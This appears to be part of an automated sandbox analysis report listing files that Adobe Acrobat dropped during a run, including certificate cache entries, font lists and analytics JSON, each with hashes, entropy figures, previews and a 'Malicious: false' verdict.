SSDEEP:	48:7Mcp/E2ioyVJOioy5oWoy1CUoy1AdKOioy1noy1AYoy1Wioy1hioybioyGvoy1nR:7XpjuJOJrPXKQldwb9IVXEBodRBka
MD5:	D79AB21116E58A6A2E3D24FC7FA1C62F
SHA1:	DA2E71258A67E694335609EDF15713A1472C766C
SHA-256:	9486C823FF588AF02D8B0ADF7298EF1909F06126FF1D25AFEE69982444F521A5
SHA-512:	561361D3C760A5DBAD3E974E3E73928B8C209920E390E5AA8F3B5067D2B821394EAD5F4788FB38710CD6D73A02B5BDEDD749CEEAB53FF2323DC66FC75B538E13
Malicious:	false
Preview:	.... .c.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFkl9W2uKVltfllXlE/HT8kWzlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKfqPeT8PJdNMa8RdWBwRd
MD5:	E69938E32594EEC4577143A2AF7AE64A
SHA1:	080C65387AC57DA9D35AE3DDA58D6E2C558BA530
SHA-256:	9E5B4036EE0E7BC6D2AD4922F45C3AAF9EBE6704751F757D01EAEF8C5CF4EBCC
SHA-512:	05924F103E4EFC15FA70DA2567A816DE255937F93AC59511208BAA35A27295C7263476DA8FE6846BE5B5DBA885C9D666122B634862F8AB47FD44FE29BBAF2FA5
Malicious:	false
Preview:	p...... ...........o.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKRPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:JPiDImsLNkPlE99SNxAhUe/3
MD5:	C70B36A7CDACACC164FF3DF67519671E
SHA1:	A9585DF817A2FEF68B2EC8E06C261AF4DF0E1B7A
SHA-256:	637ECD93EBF1D8AB35A2119FD13F380A700B19B0547C2FD8FB7E2A3B7037A1B7
SHA-512:	848FF2D4E1E1E41DEABD82FD95BCC8D786C23C68B8DE39B97F0F4DD3D20A1AE0AE336786A28B45B3466A1001064AE49ECF09C549C841DD15999651797A170BF3
Malicious:	false
Preview:	p...... ........Q.S..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5848

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5848

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.331312706751807
Encrypted:	false
SSDEEP:	6:YEQXJ2HXphFh7le7UXjb24kF0YFWVKoAvJM3g98kUwPeUkwRe9:YvXKXph/Q7UTbdsWbGMbLUkee9
MD5:	8D0B9FB19440C39E1AD4670BA9E7FC53
SHA1:	201D7E67EA62C967420A059624F80A35F32AFF2D
SHA-256:	BA066FEA297268EFE9A4AF26738113623AA8B1C6A83ED7725738BA9CE26D087E
SHA-512:	7C20D4C9CC23D9300A15AA3640F530BB808517B367D818F9462CCA5CE173B64C34D02F45E0D85AB2CB6ADB50DD6003F757D6654A11F278B4C34962A3BBBB2FF3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"709454ca-61e4-41f1-845b-15202cae92ac","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736711801348,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.26760977075709
Encrypted:	false
SSDEEP:	6:YEQXJ2HXphFh7le7UXjb24kF0YFWVKoAvJfBoTfXpnrPeUkwRe9:YvXKXph/Q7UTbdsWbGWTfXcUkee9
MD5:	FF0D1037AF4A4C04BFF202399BC60AC8
SHA1:	1966564369AEEFCA3ECC3B37B4D5C4F240958E26
SHA-256:	38EEE07134632D5A8532F1182267D0193340C1D00D40617A5B294DDF3E373247
SHA-512:	3E5C9DFE7A929EC48DB4602FA9D0486CD05704C68787E2A08358EF71452D5B96A4740EE503A81ECC57B204F76213C88C3FB8B3095402D0CC092C60B928F792C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"709454ca-61e4-41f1-845b-15202cae92ac","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736711801348,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.245748685502358
Encrypted:	false
SSDEEP:	6:YEQXJ2HXphFh7le7UXjb24kF0YFWVKoAvJfBD2G6UpnrPeUkwRe9:YvXKXph/Q7UTbdsWbGR22cUkee9
MD5:	D3066659A85FD31967600D4FA7ED54B6
SHA1:	F136B55C1FDF5B5D07E54F9A621D787871A64FCB
SHA-256:	4E9B781DEBE9CE1249BD740B4C055C83D14CE267B88A8F22143FD7CD1C129F51
SHA-512:	810C9037A4DBE0D78C54B2909D690F0A45DFADA4BCA83F1BF649FEF8AB427FDE38EDDA5A017A04D01DABEF4A6E98048CB42F2AA333513EBF1203AD08AC07F195
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"709454ca-61e4-41f1-845b-15202cae92ac","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736711801348,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.304466831392838
Encrypted:	false
SSDEEP:	6:YEQXJ2HXphFh7le7UXjb24kF0YFWVKoAvJfPmwrPeUkwRe9:YvXKXph/Q7UTbdsWbGH56Ukee9
MD5:	01E6C68D75BC891468D1E56F8D4EFBC8
SHA1:	A6C461E2E9B61432E38C7AB5D10E6943718AF0F8
SHA-256:	1626F54336B912695EFADFAAC06F9761C015714B7D41AEDED157E950E62221B7
SHA-512:	B8C47E5AA73F84DCFF99FADFF1DE557B96CBC5B6BF8FD177E41BBAFB591B0EEE2456EB0F90BDE48ED8C00B855D3BB4B93236F072175B8C883019D3B69467E8AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"709454ca-61e4-41f1-845b-15202cae92ac","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736711801348,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684354044331177
Encrypted:	false
SSDEEP:	24:Yv6XPQ7UXZwpLgE9cQx8LennAvzBvkn0RCmK8czOCCS+Y:Yv5wZwhgy6SAFv5Ah8cv/n
MD5:	B84652DAF1B03DD16B9248AEA56A43D9
SHA1:	D9F6E9809AC71466D139B5C668A53F074822C8E6
SHA-256:	4D8292535BEC40406C4956366CFA67CF6660C7BE931A4E2ED4A202498489B2A5
SHA-512:	9A0A3EE77C219310ABF40214E11D33C0A0B168CA2D5F1F9BF7D207412032F7974D897E609CBA24D99342DB3624F3707AD504544459685755AA502086A457F5B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"709454ca-61e4-41f1-845b-15202cae92ac","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736711801348,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.246292767881634
Encrypted:	false
SSDEEP:	6:YEQXJ2HXphFh7le7UXjb24kF0YFWVKoAvJf8dPeUkwRe9:YvXKXph/Q7UTbdsWbGU8Ukee9
MD5:	45198BE2867AD4782297B1E9ED3895E3
SHA1:	7B0A2B3C5A77D72C2CCA6A1AEBE0567B740492FE
SHA-256:	0F0F0D1A818728F51FD1E0C1D48DA41A572F1ECCE8EDCFFF1339FCEEBCA172E4
SHA-512:	57EF414C452EE4A3A29A7F2C515E27D819FC69449E3A42B5FC08135FC592B238E54F40F063326DB8CFC73F676C8AD9BF407C3EA66451D00AC0C7EBC9F2312EAB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"709454ca-61e4-41f1-845b-15202cae92ac","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736711801348,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.249787606051191
Encrypted:	false
SSDEEP:	6:YEQXJ2HXphFh7le7UXjb24kF0YFWVKoAvJfQ1rPeUkwRe9:YvXKXph/Q7UTbdsWbGY16Ukee9
MD5:	5CFA4D27C38884E9C2188AE8E4858040
SHA1:	FB57DD2F6BFC4EA070D2B6FF1AAA6A025587740F
SHA-256:	A63DC8456BEA75CDA54754928076F3897C06F6C9D424FF5F69570BB87835B80A
SHA-512:	AAABB8B9BCE3C2DDD2B15F0DE9270F46CF8D7916EB9B5F94FAC0B571CD048AEBCE088209E8555C9CAA88D257E0FCDEDEB28F593A066FA438705DAFD370C65BEB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"709454ca-61e4-41f1-845b-15202cae92ac","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736711801348,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.261554517506893
Encrypted:	false
SSDEEP:	6:YEQXJ2HXphFh7le7UXjb24kF0YFWVKoAvJfFldPeUkwRe9:YvXKXph/Q7UTbdsWbGz8Ukee9
MD5:	50F3A504CE6A6088E17EC22066988B5E
SHA1:	8774A956D958D8939568D751478396D2AE722827
SHA-256:	C1F4B4A766D68A4B0C874978BB52DEDE65652B51B52F4866E3F9F7073F27CCAF
SHA-512:	B41A9C91B4281124314059130FD6BC0915D1D7AEB41CB51C0E43A9F4383F0195A1F01DD381FF4C179F9E5AECD366216B425E77A7B5D0A9DD86FBEC5946BA7458
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"709454ca-61e4-41f1-845b-15202cae92ac","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736711801348,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.273690544286057
Encrypted:	false
